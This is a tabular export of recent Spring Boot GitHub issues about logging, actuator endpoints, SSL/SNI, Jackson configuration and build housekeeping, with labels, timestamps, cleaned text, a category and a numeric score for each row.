	at org.apache.commons.logging.im... [TRUNCATED]",status: invalid,2026-05-01 22:16:48+00:00,2026-05-09 03:07:34+00:00,3,status: invalid,7.2019,could not initialize class org apache logging log j status statuslogger i have a simple spring boot application here are relevant parts of the poms parent pom child pom then i have this very basic test in the child artifact running this test with set to works fine but switching to i get the following error java lang noclassdeffounderror could not initialize class org apache logging log j status statuslogger at org apache logging log j logmanager logmanager java at org apache commons logging impl log japilogfactory logadapter getcontext log japilogfactory java at org apache logging log j spi abstractloggeradapter getlogger abstractloggeradapter java at org apache commons logging im truncated,others,-0.5574
spring-projects/spring-boot,4363993458,Harden deserialization in HttpRestartServer,Forward port of issue #50272 to 4.0.x.,"type: task,status: forward-port",2026-05-01 10:41:16+00:00,2026-05-01 10:46:04+00:00,0,"type: task,status: forward-port",0.0033,harden deserialization in httprestartserver forward port of issue to x,others,0.0
spring-projects/spring-boot,4363877574,Harden deserialization in HttpRestartServer,"While remote code execution is an inherent feature of remote DevTools, there's still some value in hardening the deserialization of `ClassLoaderFilter` in `HttpRestartServer` to project against deserialization gadgets. Not least, it will hopefully reduce the false-positives from AI-based security tools that don't seem to understand the full context of the feature and [how and when it should be used](https://docs.spring.io/spring-boot/reference/using/devtools.html#using.devtools.remote-applications).",type: task,2026-05-01 10:04:54+00:00,2026-05-01 10:46:03+00:00,0,type: task,0.0286,harden deserialization in httprestartserver while remote code execution is an inherent feature of remote devtools there s still some value in hardening the deserialization of in to project against deserialization gadgets not least it will hopefully reduce the false positives from ai based security tools that don t seem to understand the full context of the feature and how and when it should be used,others,0.872
spring-projects/spring-boot,4363402047,Improve nullability in TestPropertyValues,"We originally thought that this was a [NullAway bug](https://github.com/uber/NullAway/issues/1528) but, with thanks to @msridhar for the explanation, now know that's not the case.

With recent versions of NullAway, `TestPropertyValues` fails to compile:

```
> Task :core:spring-boot-test:compileJava
/Users/aw036093/dev/spring-projects/spring-boot/4.0.x/core/spring-boot-test/src/main/java/org/springframework/boot/test/util/TestPropertyValues.java:103: error: [NullAway] parameter type of referenced method is Entry<String, @Nullable String>, but parameter in functional interface method has type Entry<String, String>, which has mismatched type parameter nullability
                return (map != null) ? and(map.entrySet().stream(), Pair::fromMapEntry) : this;
                                                                    ^
    (see http://t.uber.com/nullaway )
/Users/aw036093/dev/spring-projects/spring-boot/4.0.x/core/spring-boot-test/src/main/java/org/springframework/boot/test/util/TestPropertyValues.java:260: error: [NullAway] parameter type of referenced method is Entry<String, @Nullable String>, but parameter in functional interface method has type Entry<String, String>, which has mismatched type parameter nullability
                return (map != null) ? of(map.entrySet().stream(), Pair::fromMapEntry) : empty();
                                                                   ^
    (see http://t.uber.com/nullaway )
2 errors
```

The stream of map entries is a stream ... [TRUNCATED]",type: task,2026-05-01 07:37:54+00:00,2026-05-01 08:35:25+00:00,0,type: task,0.0399,improve nullability in testpropertyvalues we originally thought that this was a nullaway bug but with thanks to msridhar for the explanation now know that s not the case with recent versions of nullaway fails to compile the stream of map entries is a stream truncated,others,0.0258
spring-projects/spring-boot,4361589954,DeferredLogs never get logged during Spring Boot config import when a failure occurs,"Logs are being dropped during Spring Boot config import from config resources that are using deferred logs.

This is because the `ApplicationFailedEvent` is processed by  `org.springframework.boot.env.EnvironmentPostProcessorApplicationListener` before `org.springframework.boot.context.logging.LoggingApplicationListener`. The `EnvironmentPostProcessorApplicationListener` triggers the deferred logs to start writing after receiving the event. However `org.springframework.boot.logging.logback.LogbackLoggingSystem` still has a turbo filter suppressing all log events. Once `LoggingApplicationListener` processes the event new log messages are written such as the `APPLICATION FAILED TO START`.

The impact of this is when there is an error only the `APPLICATION FAILED TO START` message is in the logs with no details as to the cause making trouble shooting impossible without attaching a debugger. When I attach the debugger I can see the log messages from `io.awspring.cloud.autoconfigure.config.parameterstore.ParameterStorePropertySources` in `org.springframework.boot.logging.DeferredLogs`. The `ParameterStorePropertySources` logs out a warning on failure that is being thrown away. For our application there were a total of 82 log events discarded on this failure with various log levels.

```
spring:
  config:
    import: aws-parameterstore:/config/${spring.application.name}/
```

Note when the application starts up successfully I see logs that were deferred being logged.

Also if looki... [TRUNCATED]",status: duplicate,2026-04-30 22:16:22+00:00,2026-05-04 19:36:03+00:00,3,status: duplicate,3.8887,deferredlogs never get logged during spring boot config import when a failure occurs logs are being dropped during spring boot config import from config resources that are using deferred logs this is because the is processed by before the triggers the deferred logs to start writing after receiving the event however still has a turbo filter suppressing all log events once processes the event new log messages are written such as the the impact of this is when there is an error only the message is in the logs with no details as to the cause making trouble shooting impossible without attaching a debugger when i attach the debugger i can see the log messages from in the logs out a warning on failure that is being thrown away for our application there were a total of log events discarded on this failure with various log levels note when the application starts up successfully i see logs that were deferred being logged also if looki truncated,others,-0.9545
spring-projects/spring-boot,4360087729,Bean definitions can be added with an initializer before setAllowBeanDefinitionOverriding is called,"See https://github.com/spring-projects/spring-framework/issues/36648.

This feels a little too risky to fix in patch release since it is change in behavior.",type: bug,2026-04-30 17:37:28+00:00,2026-05-04 22:47:55+00:00,0,type: bug,4.2156,bean definitions can be added with an initializer before setallowbeandefinitionoverriding is called see this feels a little too risky to fix in patch release since it is change in behavior,bug,0.2449
spring-projects/spring-boot,4359003584,Fetch overall health/info from Actuator in parallel,"### Enhancement

Hello.

I was checking the code in Actuator and, for what I can see, it fetches the results of the various health indicators sequentially.
I didn't manage to check the info contributors part, but I would expect there a similar situation.

If would be great if, instead, they would be fetched in parallel, ideally with virtual threads, if enabled.

**Problem**

If some health indicators are slow, their slowness is cumulative for the total time needed for `/health` (or `/health/foo` where `foo` is a group or a composite indicator) to return the result.
This is especially crucial for monitoring systems which need to get data as fast as possible.
By parallelizing them, assuming that enough resources are available, the overall time will be equal to the time of the slowest indicator which will be, by construction, faster (or equal) than before.

**Possible issues: ordering**

Order of the various results may be potentially an issue if it's expected but, maybe, on an high level, it could be possible to:

1. iterate first over the various indicators/contributors in the order they're returned by the registry and attach to them an ""index"" (e.g.: OrderedHealthIndicator(index) extends HealthIndicator`)
2. execute them in parallel and make each job return the index together with the result (e.g: OrderedHealth(index) extends Health`)
3. sort the results by index and compose the final health
",status: duplicate,2026-04-30 14:44:44+00:00,2026-04-30 14:47:08+00:00,14,status: duplicate,0.0017,fetch overall health info from actuator in parallel enhancement hello i was checking the code in actuator and for what i can see it fetches the results of the various health indicators sequentially i didn t manage to check the info contributors part but i would expect there a similar situation if would be great if instead they would be fetched in parallel ideally with virtual threads if enabled problem if some health indicators are slow their slowness is cumulative for the total time needed for or where is a group or a composite indicator to return the result this is especially crucial for monitoring systems which need to get data as fast as possible by parallelizing them assuming that enough resources are available the overall time will be equal to the time of the slowest indicator which will be by construction faster or equal than before possible issues ordering order of the various results may be potentially an issue if it s expected but maybe on an high level it could be possible to iterate first over the various indicators contributors in the order they re returned by the registry and attach to them an index e g orderedhealthindicator index extends healthindicator execute them in parallel and make each job return the index together with the result e g orderedhealth index extends health sort the results by index and compose the final health,others,0.8519
spring-projects/spring-boot,4358181572,EndpointRequest links matcher unnecessarily matches HTTP methods other than GET ,Forward port of issue #50095 to 4.0.x.,"type: bug,status: forward-port",2026-04-30 12:44:12+00:00,2026-04-30 12:45:44+00:00,0,"type: bug,status: forward-port",0.0011,endpointrequest links matcher unnecessarily matches http methods other than get forward port of issue to x,bug,0.0
spring-projects/spring-boot,4357698743,Actuator's '/cloudfoundryapplication' endpoint does not work if restrictive CORS configuration is provided using a bean named corsConfigurationSource,Forward port of issue #50254 to 4.0.x.,"type: regression,status: forward-port",2026-04-30 11:27:05+00:00,2026-04-30 11:38:35+00:00,0,"type: regression,status: forward-port",0.008,actuator s cloudfoundryapplication endpoint does not work if restrictive cors configuration is provided using a bean named corsconfigurationsource forward port of issue to x,bug,0.0
spring-projects/spring-boot,4354947354,WebFlux Cloud Foundry endpoint responses do not include the security error body,"**Spring Boot version:** main

When a Cloud Foundry security check fails (expired token, access denied, etc.), the reactive `SecureReactiveWebOperation` returns only the HTTP status code with no response body:

```java
// CloudFoundryWebFluxEndpointHandlerMapping.SecureReactiveWebOperation
if (!securityResponse.getStatus().equals(HttpStatus.OK)) {
    return Mono.just(new ResponseEntity<>(securityResponse.getStatus()));
}
```

The servlet counterpart includes a `{""security_error"":""...""}` body:

```java
// CloudFoundryWebEndpointServletHandlerMapping.SecureServletWebOperation
if (!securityResponse.getStatus().equals(HttpStatus.OK)) {
    return new ResponseEntity<Object>(securityResponse.getMessage(), securityResponse.getStatus());
}
```

The message takes the form `{""security_error"":""Access denied""}` or `{""security_error"":""Token expired""}` — information that `SecurityInterceptor` already computes but the reactive path silently discards.

**Expected behavior:** A failed Cloud Foundry security check in a WebFlux application returns the same `{""security_error"":""<reason>""}` body as the servlet counterpart.

**Actual behavior:** Only the status code (401, 403, 503) is returned with an empty body.

I'd be happy to contribute a fix for this.",status: superseded,2026-04-30 02:41:39+00:00,2026-04-30 07:23:19+00:00,1,status: superseded,0.1956,webflux cloud foundry endpoint responses do not include the security error body spring boot version main when a cloud foundry security check fails expired token access denied etc the reactive returns only the http status code with no response body the servlet counterpart includes a body the message takes the form or information that already computes but the reactive path silently discards a failed cloud foundry security check in a webflux application returns the same body as the servlet counterpart only the status code is returned with an empty body i d be happy to contribute a fix for this,bug,-0.8355
spring-projects/spring-boot,4354512394,Actuator's '/cloudfoundryapplication' endpoint does not work if restrictive CORS configuration is provided using a bean named corsConfigurationSource,"When defining a Cors-Configuration in Spring Boot 4.0.6 the `/cloudfoundryapplication` is broken. Before i guess something around Spring 3.5.10 it used to work after upgrading to 3.5.11 or 3.5.12 it stopped working. The same behaviour is still present in 4.0.6 i saw some code changes to `CloudFoundryActuatorAutoConfiguration` have been made arround that versions maby those are responsible for the new behaviour. Before that the applications CORS config was irrelevant for the Spring-Boot-Integration in Cloud Foundry.

Maby that is intented behaviour but i wasnt able to find any information regarding those changes.

All necessary stuff is down here ⬇️

<details>
<summary> 📑 Spring Security Logs when calling /cloudfoundryapplication from CF </summary>
 <code>
<pre>
2026-04-30T02:07:43.608+02:00 [APP/REV/14/PROC/WEB/1] [OUT] 2026-04-30T02:07:43.607+02:00 TRACE 8 --- [Spring-Boot-Cloud-Foundry-Issue-Sample] [nio-8080-exec-4] o.s.security.web.FilterChainProxy : Trying to match request against DefaultSecurityFilterChain defined as 'cloudFoundrySecurityFilterChain' in [class path resource [org/springframework/boot/cloudfoundry/autoconfigure/actuate/endpoint/servlet/CloudFoundryActuatorAutoConfiguration$IgnoredCloudFoundryPathsWebSecurityConfiguration.class]] matching [Or [PathPattern [/cloudfoundryapplication/**]]] and having filters [DisableEncodeUrl, WebAsyncManagerIntegration, SecurityContextHolder, HeaderWriter, Cors, Csrf, Logout, RequestCacheAware, SecurityContextHolderAwareRequ... [TRUNCATED]",type: regression,2026-04-30 00:30:11+00:00,2026-04-30 11:38:35+00:00,7,type: regression,0.4642,actuator s cloudfoundryapplication endpoint does not work if restrictive cors configuration is provided using a bean named corsconfigurationsource when defining a cors configuration in spring boot the is broken before i guess something around spring it used to work after upgrading to or it stopped working the same behaviour is still present in i saw some code changes to have been made arround that versions maby those are responsible for the new behaviour before that the applications cors config was irrelevant for the spring boot integration in cloud foundry maby that is intented behaviour but i wasnt able to find any information regarding those changes all necessary stuff is down here spring security logs when calling cloudfoundryapplication from cf t app rev proc web out t trace spring boot cloud foundry issue sample nio exec o s security web filterchainproxy trying to match request against defaultsecurityfilterchain defined as cloudfoundrysecurityfilterchain in class path resource org springframework boot cloudfoundry autoconfigure actuate endpoint servlet cloudfoundryactuatorautoconfiguration ignoredcloudfoundrypathswebsecurityconfiguration class matching or pathpattern cloudfoundryapplication and having filters disableencodeurl webasyncmanagerintegration securitycontextholder headerwriter cors csrf logout requestcacheaware securitycontextholderawarerequ truncated,bug,0.6542
spring-projects/spring-boot,4354185567,ForwardedHeaders not applied in WAR deployment,"I migrated an application from Spring Boot 3.4 to Spring Boot 4.0.5 
My configuration requires an adaption of Forwarded-Headers (""server.forward-headers-strategy: FRAMEWORK"").
Unfortunately the support of this adaption got lost in Spring Boot 4.0.5 for WAR-Deployments. 
 
My productive environment unfortunately enforces an WAR-Deployment, so I develop and test locally a ""real"" Spring Boot-Application and operate a WAR-Deployment. Local executed Spring-Boot-Applications have a perfect support for Forwarded-Headers but not the WAR-Deployment anymore.

I was able to break it down: 
1. Spring Boot 4.05 provides support for ForwardedHeaders by `ServletWebServerConfiguration` and `ReactiveWebServerConfiguration`. These classes are part of spring-boot-web-server and are included in configurations of spring-boot-tomat and spring-boot-jetty. As long as you use the integrated jetty or tomcat, everything works fine. But the WAR-Deployment excludes the tomcat / jetty => Support gets lost.
2. I think, the support of Forwarded-Headers should be independently auto configured. So I created AutoConfigurations for the support of Forwarded-Headers in spring-boot-servlet and spring-boot-reactor and removed corresponding from ServletWebServerConfiguration` and `ReactiveWebServerConfiguration`.
3. Unfortunately there is then a cycle spring-boot-servlet -> spring-boot-tomcat -> spring-boot-servlet as now spring-boot-tomcat requires spring-boot-servlet (for Forwarded-Headers-Support / Tests) but als... [TRUNCATED]",type: wiki-documentation,2026-04-29 23:02:16+00:00,2026-04-30 06:47:18+00:00,4,type: wiki-documentation,0.3229,forwardedheaders not applied in war deployment i migrated an application from spring boot to spring boot my configuration requires an adaption of forwarded headers server forward headers strategy framework unfortunately the support of this adaption got lost in spring boot for war deployments my productive environment unfortunately enforces an war deployment so i develop and test locally a real spring boot application and operate a war deployment local executed spring boot applications have a perfect support for forwarded headers but not the war deployment anymore i was able to break it down spring boot provides support for forwardedheaders by and these classes are part of spring boot web server and are included in configurations of spring boot tomat and spring boot jetty as long as you use the integrated jetty or tomcat everything works fine but the war deployment excludes the tomcat jetty support gets lost i think the support of forwarded headers should be independently auto configured so i created autoconfigurations for the support of forwarded headers in spring boot servlet and spring boot reactor and removed corresponding from servletwebserverconfiguration reactivewebserverconfiguration unfortunately there is then a cycle spring boot servlet spring boot tomcat spring boot servlet as now spring boot tomcat requires spring boot servlet for forwarded headers support tests but als truncated,documentation,0.9873
spring-projects/spring-boot,4353983450,Bug Report: OpenTelemetry NoSuchMethodError: LogRecordBuilder.setException(Throwable) when logging WARN/ERROR with attached Throwable,"# Bug Report: `NoSuchMethodError: LogRecordBuilder.setException(Throwable)` when logging WARN/ERROR with attached Throwable

## Summary

When using `opentelemetry-logback-appender-1.0:2.26.1-alpha` with Spring Boot 4.0.6 and Spring AI 2.0.0-M5, the application crashes with a `NoSuchMethodError` whenever a log statement at WARN or ERROR level includes an attached `Throwable`. The root cause is a version mismatch between the `opentelemetry-api` pinned by the Spring Boot BOM (`1.55.0`) and the version required by the logback appender instrumentation (`1.61.0+`).

---

## Environment

| Component | Version |
|---|---|
| Spring Boot | 4.0.6 |
| Spring AI | 2.0.0-M5 |
| `opentelemetry-logback-appender-1.0` | 2.26.1-alpha |
| `opentelemetry-api` (effective, via Spring Boot BOM) | 1.55.0 |
| Java | 25.0.2 |
| OS | Windows 11 |

---

## Steps to Reproduce

1. Create a Spring Boot 4.0.6 application with `spring-boot-starter-opentelemetry`.
2. Add `opentelemetry-logback-appender-1.0:2.26.1-alpha` as a dependency.
3. Configure `OpenTelemetryAppender` in `logback-spring.xml`.
4. Trigger any code path that calls `logger.warn(message, throwable)` or `logger.error(message, throwable)` — i.e. a log statement with an attached `Throwable`.

In this specific case, the trigger was `TikaDocumentReader` processing a PDF with malformed TTF fonts, which caused PDFBox to emit a WARN-level log with an attached `IOException`.

---

## Expected Behavior

The application should log the WARN/ERROR message ... [TRUNCATED]",status: invalid,2026-04-29 22:12:21+00:00,2026-04-30 00:54:18+00:00,3,status: invalid,0.1125,bug report opentelemetry nosuchmethoderror logrecordbuilder setexception throwable when logging warn error with attached throwable bug report when logging warn error with attached throwable summary when using with spring boot and spring ai m the application crashes with a whenever a log statement at warn or error level includes an attached the root cause is a version mismatch between the pinned by the spring boot bom and the version required by the logback appender instrumentation environment component version spring boot spring ai m alpha effective via spring boot bom java os windows create a spring boot application with add as a dependency configure in trigger any code path that calls or i e a log statement with an attached in this specific case the trigger was processing a pdf with malformed ttf fonts which caused pdfbox to emit a warn level log with an attached the application should log the warn error message truncated,bug,-0.9413
spring-projects/spring-boot,4352939091,Spring-Boot patch version has breaking Thymeleaf change,"This is for awareness that a spring-boot patch version upgraded included a breaking Thymeleaf change. I have opened an [issue](https://github.com/thymeleaf/thymeleaf/issues/1097) against the Thymeleaf repo on getting more details and if there is a workaround/config option to keep the old implementation.
","status: invalid,for: external-project",2026-04-29 18:51:06+00:00,2026-04-29 18:54:43+00:00,5,"status: invalid,for: external-project",0.0025,spring boot patch version has breaking thymeleaf change this is for awareness that a spring boot patch version upgraded included a breaking thymeleaf change i have opened an issue against the thymeleaf repo on getting more details and if there is a workaround config option to keep the old implementation,others,0.0
spring-projects/spring-boot,4350223435,RC1 has a wrong spring-framework version,"Hello,
for some reason, seems like the RC1 points to spring-core,jcl,context version 6.2.11, the only way to fix it is by specifying the property to <spring-framework.version>7.0.7</spring-framework.version>.

[rc1-test.zip](https://github.com/user-attachments/files/27200092/rc1-test.zip)

I attached the MVCE, in fact, a simple web app doesn't start, my guess is the jooq-boom, like I mentioned to @lukaseder in https://github.com/jOOQ/jOOQ/issues/19641

<img width=""1170"" height=""478"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1080ff7-0635-4a70-a60c-cc862b380ef1"" />",status: invalid,2026-04-29 11:39:35+00:00,2026-04-29 12:14:01+00:00,3,status: invalid,0.0239,rc has a wrong spring framework version hello for some reason seems like the rc points to spring core jcl context version the only way to fix it is by specifying the property to rc test zip i attached the mvce in fact a simple web app doesn t start my guess is the jooq boom like i mentioned to lukaseder in,others,0.5267
spring-projects/spring-boot,4349473062,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,"## Summary

When the embedded reactor-netty server is configured with an SSL bundle and either `server.ssl.client-auth: need|want` or a `truststore` block on the server bundle, every TLS handshake from a client that sends an SNI extension fails with a `NullPointerException` originating from `SslServerCustomizer`'s SNI mapping lambda.

The problem disappears when the request's SNI hostname is added explicitly under `server.ssl.server-name-bundles`. A keystore-only bundle without `client-auth` does not trigger the NPE.

## Versions

- Spring Boot **3.5.14** (also present unchanged in `4.0.6` and `main` — verified by reading source)
- reactor-netty **1.2.17** (transitive)
- Java 21 (Temurin 21.0.10)
- Linux x86_64

## Reproducer

Minimal repo (single Spring Boot WebFlux app, ~14-line YAML):
https://github.com/trobanga/spring-boot-ssl-bundle-sni-npe

```bash
git clone https://github.com/trobanga/spring-boot-ssl-bundle-sni-npe
cd spring-boot-ssl-bundle-sni-npe
./gen-certs.sh
mvn -q spring-boot:run &

curl -kv \
  --resolve any.host.example:9443:127.0.0.1 \
  --cacert ssl/ca.crt --cert ssl/client.crt --key ssl/client.key \
  https://any.host.example:9443/ping
```

The triggering YAML is:

```yaml
spring.ssl.bundle.pem.server:
  keystore:
    certificate: file:ssl/server.crt
    private-key: file:ssl/server.key
server:
  port: 9443
  ssl:
    bundle: server
    client-auth: need
```

## Stack trace

```
java.lang.NullPointerException: Cannot invoke ""reactor.netty.tcp.SslProvider.get... [TRUNCATED]","type: bug,status: superseded",2026-04-29 09:46:22+00:00,2026-05-07 11:47:12+00:00,7,"type: bug,status: superseded",8.0839,nullpointerexception in reactor netty sniprovider when ssl bundle uses client auth or server truststore without server name bundles summary when the embedded reactor netty server is configured with an ssl bundle and either or a block on the server bundle every tls handshake from a client that sends an sni extension fails with a originating from s sni mapping lambda the problem disappears when the request s sni hostname is added explicitly under a keystore only bundle without does not trigger the npe versions spring boot also present unchanged in and verified by reading source reactor netty transitive java temurin linux x reproducer minimal repo single spring boot webflux app line yaml the triggering yaml is stack trace java lang nullpointerexception cannot invoke reactor netty tcp sslprovider get truncated,bug,-0.8689
spring-projects/spring-boot,4348089457,StandardJsonMapperBuilderCustomizer overwrites pre-configured Jackson JsonMapper.Builder,"## Summary
As of Spring-Boot 4.0.6, `AbstractMapperBuilderCustomizer.configureConstructorDetector` now always replaces the existing `ConstructorDetector` with one of the static detectors defined on the `ConstructorDetector` class. This overwrites any prior modifications that were made to the constructor detector, including any base properties that were set on the builder before it was customized (such as during the `JsonMapper.Builder` bean's creation). This is a change in behaviour since Spring Boot 4.0.5, and we've picked this up with failures in our integration test suite.
## Details
When the container is launched, the Spring Boot property configuration looks at `spring.jackson.constructor-detector` to establish the behaviour of the Jackson object mapper.

In Spring Boot 4.0.5, if the aforementioned property is not set, Spring Boot makes no modifications to the configuration of Jackson's ConstructorDetector.

In Spring Boot 4.0.6, a modification was made in [#49798]([https://github.com/spring-projects/spring-boot/issues/49798](https://github.com/spring-projects/spring-boot/issues/49798)) that results in the default constructor detector handling always being applied.

In our container, we have configured the `JsonMapper.Builder` to use the default no-arg constructor. This is based on Jackson 3's recommended configuration ([see issue](https://github.com/FasterXML/jackson-databind/issues/5318)) to support backwardly compatible behaviour with Jackson 2, using this configuratio... [TRUNCATED]",status: invalid,2026-04-29 05:16:17+00:00,2026-04-29 07:00:33+00:00,3,status: invalid,0.0724,standardjsonmapperbuildercustomizer overwrites pre configured jackson jsonmapper builder summary as of spring boot now always replaces the existing with one of the static detectors defined on the class this overwrites any prior modifications that were made to the constructor detector including any base properties that were set on the builder before it was customized such as during the bean s creation this is a change in behaviour since spring boot and we ve picked this up with failures in our integration test suite details when the container is launched the spring boot property configuration looks at to establish the behaviour of the jackson object mapper in spring boot if the aforementioned property is not set spring boot makes no modifications to the configuration of jackson s constructordetector in spring boot a modification was made in that results in the default constructor detector handling always being applied in our container we have configured the to use the default no arg constructor this is based on jackson s recommended configuration see issue to support backwardly compatible behaviour with jackson using this configuratio truncated,others,-0.0772
spring-projects/spring-boot,4345804778,/actuator/logfile fails with HttpMessageNotWritableException when Range header is present (Spring Boot 4.0.x / Spring Framework 7.x),"Summary

After upgrading to Spring Boot 4.0.5 (Spring Framework 7.x), the /actuator/logfile endpoint fails with a 500 Internal Server Error when the client sends a Range header. The log file is correctly detected (logs/fusion.log) and exists on disk.

Spring MVC converts the returned Resource into a List<ResourceRegion> when a Range header is present, but Spring Framework 7.x no longer registers ResourceRegionHttpMessageConverter. No remaining HttpMessageConverter can serialize the list, causing the actuator endpoint to fail. This worked correctly in Spring Boot 3.x / Spring Framework 6.x.
Spring Boot Version

4.0.5
Spring Framework Version

7.x
Steps to Reproduce

    Configure a log file using logging.file.name=logs/fusion.log and expose the actuator endpoint using management.endpoints.web.exposure.include=logfile.

    Call the actuator endpoint with a Range header, for example:
    GET /actuator/logfile  
    Range: bytes=0-1024

    Observe the 500 error.

Actual Behavior

The endpoint returns 500 Internal Server Error.

Log output contains:
HttpMessageNotWritableException: No converter for [class java.util.ArrayList] with preset Content-Type 'null'
Expected Behavior

Calling /actuator/logfile with a Range header should return a partial response (206 Partial Content) with the appropriate Content-Range headers, as it did in Spring Boot 3.x.
Root Cause Analysis

    LogFileWebEndpoint returns a Resource with produces = ""text/plain; charset=UTF-8"".

    When a Range header ... [TRUNCATED]",status: invalid,2026-04-28 19:51:26+00:00,2026-04-30 10:47:19+00:00,2,status: invalid,1.6221,actuator logfile fails with httpmessagenotwritableexception when range header is present spring boot x spring framework x summary after upgrading to spring boot spring framework x the actuator logfile endpoint fails with a internal server error when the client sends a range header the log file is correctly detected logs fusion log and exists on disk spring mvc converts the returned resource into a list when a range header is present but spring framework x no longer registers resourceregionhttpmessageconverter no remaining httpmessageconverter can serialize the list causing the actuator endpoint to fail this worked correctly in spring boot x spring framework x spring boot version spring framework version x configure a log file using logging file name logs fusion log and expose the actuator endpoint using management endpoints web exposure include logfile call the actuator endpoint with a range header for example get actuator logfile range bytes observe the error the endpoint returns internal server error log output contains httpmessagenotwritableexception no converter for class java util arraylist with preset content type null calling actuator logfile with a range header should return a partial response partial content with the appropriate content range headers as it did in spring boot x root cause analysis logfilewebendpoint returns a resource with produces text plain charset utf when a range header truncated,others,-0.9779
spring-projects/spring-boot,4344830485,Add an option to prevent TestTypeExcludeFilter from excluding test class inner @Component beans,"I recently discovered that some of my `@AutoConfiguration` beans were subject to component scanning because my application was declaring `@ComponentScan` in addition to `@SpringBootApplication`. To fix this, I removed the `@ComponentScan`. But this lead to another issue regarding my current tests.

Some of my http tests look like this:

```java
@HttpBootTestBattery1
class AccreditedPrincipalMethodArgumentResolverTest {

  @Inject private HalMockMvcBuilders halMockMvcBuilders;
  @Inject private TestAuthentications testAuthentications;
  @Inject private WebMvcLinkBuilderFactory linkBuilders;

  @Test
  void test() throws Exception {
    URI baseUri = linkBuilders.linkTo(methodOn(MyController.class).get(null)).toUri();
    halMockMvcBuilders
        .create()
        .baseUri(baseUri)
        .addRequestPostProcessor(authentication(testAuthentications.asSystem().authentication()))
        .build()
        .follow()
        .get()
        .andExpect(status().isNoContent());
  }

  @RestController
  @RequestMapping(""/AccreditedPrincipalMethodArgumentResolverTest"")
  static class MyController {

    @GetMapping
    ResponseEntity<?> get(AccreditedPrincipal accreditedPrincipal) {
      assertThat(accreditedPrincipal).isNotNull();
      return ResponseEntity.noContent().build();
    }
  }
}
```

Before the modification, `MyController` was registered by the component scan. But now, `MyController` is excluded from the component scan because of  `TypeExcludeFilter`. The latter applies `... [TRUNCATED]",status: declined,2026-04-28 16:48:41+00:00,2026-04-28 19:37:12+00:00,4,status: declined,0.117,add an option to prevent testtypeexcludefilter from excluding test class inner component beans i recently discovered that some of my beans were subject to component scanning because my application was declaring in addition to to fix this i removed the but this lead to another issue regarding my current tests some of my http tests look like this before the modification was registered by the component scan but now is excluded from the component scan because of the latter applies truncated,others,0.2382
spring-projects/spring-boot,4344551638,Define handling of agents.md,"## Description
It is not clear whether `agents.md` should be tracked by git or treated as a local file.

## Decision needed
- Either keep `agents.md` in the repository
- Or ignore it via `.gitignore`

## Goal
Avoid inconsistent usage across environments.",status: superseded,2026-04-28 16:02:50+00:00,2026-04-28 16:05:27+00:00,1,status: superseded,0.0018,define handling of agents md description it is not clear whether should be tracked by git or treated as a local file decision needed either keep in the repository or ignore it via goal avoid inconsistent usage across environments,others,-0.7081
spring-projects/spring-boot,4344428316,Add .idea/ in .gitignore,"## Description
The current `.gitignore` file does not exclude the `.idea` directory, which may lead to versioning IDE-specific configuration files.

## Problem
- IDE configuration files vary between environments  
- May introduce unnecessary conflicts in the repository  

## Solution
Add the following rule to `.gitignore`:

```gitignore
.idea/",status: superseded,2026-04-28 15:43:38+00:00,2026-04-28 16:05:04+00:00,1,status: superseded,0.0149,add idea in gitignore description the current file does not exclude the directory which may lead to versioning ide specific configuration files problem ide configuration files vary between environments may introduce unnecessary conflicts in the repository solution add the following rule to gitignore idea,others,-0.3257
spring-projects/spring-boot,4344161754,Test Gradle plugin against Gradle 9.5.0,,type: task,2026-04-28 15:02:20+00:00,2026-04-29 11:26:01+00:00,0,type: task,0.8498,test gradle plugin against gradle,others,0.0
spring-projects/spring-boot,4343900837,Upgrade to Gradle 9.5.0,,type: task,2026-04-28 14:23:10+00:00,2026-04-28 14:55:56+00:00,0,type: task,0.0228,upgrade to gradle,others,0.0
spring-projects/spring-boot,4337576547,Meter registries are not removed from the global registry when the context is closed,"# Summary

When `management.metrics.use-global-registry=true` (the default), `MeterRegistryPostProcessor` adds each context's `MeterRegistry` bean to Micrometer's static `Metrics.globalRegistry`:

```java
	private void addToGlobalRegistryIfNecessary(MeterRegistry meterRegistry) {
		if (this.properties.getObject().isUseGlobalRegistry() && !isGlobalRegistry(meterRegistry)) {
			Metrics.addRegistry(meterRegistry);
		}
	}
```

https://github.com/spring-projects/spring-boot/blob/v4.0.6/module/spring-boot-micrometer-metrics/src/main/java/org/springframework/boot/micrometer/metrics/autoconfigure/MeterRegistryPostProcessor.java#L123-L127

On context close, `MetricsAutoConfiguration$MeterRegistryCloser` calls `meterRegistry.close()` but never calls `Metrics.removeRegistry(meterRegistry)` (or equivalently `Metrics.globalRegistry.remove(meterRegistry)`):

```java
		@Override
		public void onApplicationEvent(ContextClosedEvent event) {
			if (this.context.equals(event.getApplicationContext())) {
				for (MeterRegistry meterRegistry : this.meterRegistries) {
					if (!meterRegistry.isClosed()) {
						meterRegistry.close();
					}
				}
			}
		}
```

https://github.com/spring-projects/spring-boot/blob/v4.0.6/module/spring-boot-micrometer-metrics/src/main/java/org/springframework/boot/micrometer/metrics/autoconfigure/MetricsAutoConfiguration.java#L115-L117


This leads to memory leaks if closed `MeterRegistry`s are not cleaned up from the global registry. Because if the static field, `Metr... [TRUNCATED]","type: bug,status: superseded",2026-04-27 17:16:28+00:00,2026-04-28 14:20:11+00:00,3,"type: bug,status: superseded",0.8776,meter registries are not removed from the global registry when the context is closed summary when the default adds each context s bean to micrometer s static on context close calls but never calls or equivalently this leads to memory leaks if closed s are not cleaned up from the global registry because if the static field metr truncated,bug,0.0
spring-projects/spring-boot,4337195772,ConfigurationPropertiesReportEndpoint exposes AOP proxy internals,"### Spring Boot version
4.0.6 (also reproduces with Spring Cloud 2025.1.1 — `spring-cloud-context` provides `@RefreshScope`)

### Description

A `@RefreshScope`-annotated `@ConfigurationProperties` bean is exposed via
`/actuator/configprops` with the AOP proxy's `Advised` interface getters
(`targetSource`, `exposeProxy`, `preFiltered`) included alongside the
legitimate `@ConfigurationProperties` fields.

This happens **independently of `BufferingApplicationStartup`** — the leak
is intrinsic to how the endpoint handles refresh-scoped CGLIB proxies.
With `BufferingApplicationStartup` configured, the leak balloons by orders
of magnitude because the Jackson serializer follows
`targetSource.beanFactory.applicationStartup.bufferedTimeline.events[…]`
into the entire startup-event buffer (hundreds to thousands of entries
per refresh-scoped bean).

The endpoint also exposes the bean **twice** — once as the proxy
(`beanName`) and once as the underlying target (`scopedTarget.beanName`).
The target serializes cleanly; only the proxy variant carries the
`Advised` leak.

